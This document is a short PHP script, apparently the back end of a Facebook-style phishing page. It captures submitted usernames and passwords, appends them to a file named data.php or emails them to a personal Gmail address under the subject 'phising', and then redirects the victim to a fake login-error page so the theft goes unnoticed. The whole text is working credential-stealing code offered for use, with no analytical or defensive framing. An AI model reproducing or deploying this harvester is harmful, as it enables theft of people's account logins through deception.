Aman
fb.
$performlogin = $_REQUEST['performlogin'];
if ($performlogin == 1)
{
$file = "data.php"; //Free php host usualy doesn't allow other files then *.php.
$fp = fopen($file, "a"); // Append to file.
$data = $_POST['username'];
fwrite($fp, "$data\r\n");
$data = $_POST['password'];
fwrite($fp, "$data\r\n");
fclose($fp);
}
// Send information to mail.
if ($performlogin == 2)
{
$username = $_POST['username'];
$password = $_POST['password'];
$message = "Username: $username\r\nPassword: $password";
@mail("amanagarwal987@gmail.com", "phising", $message) or die;
}
header("Location: http://www.targetsite.com/loginError"); // Redirect to error login page.
?>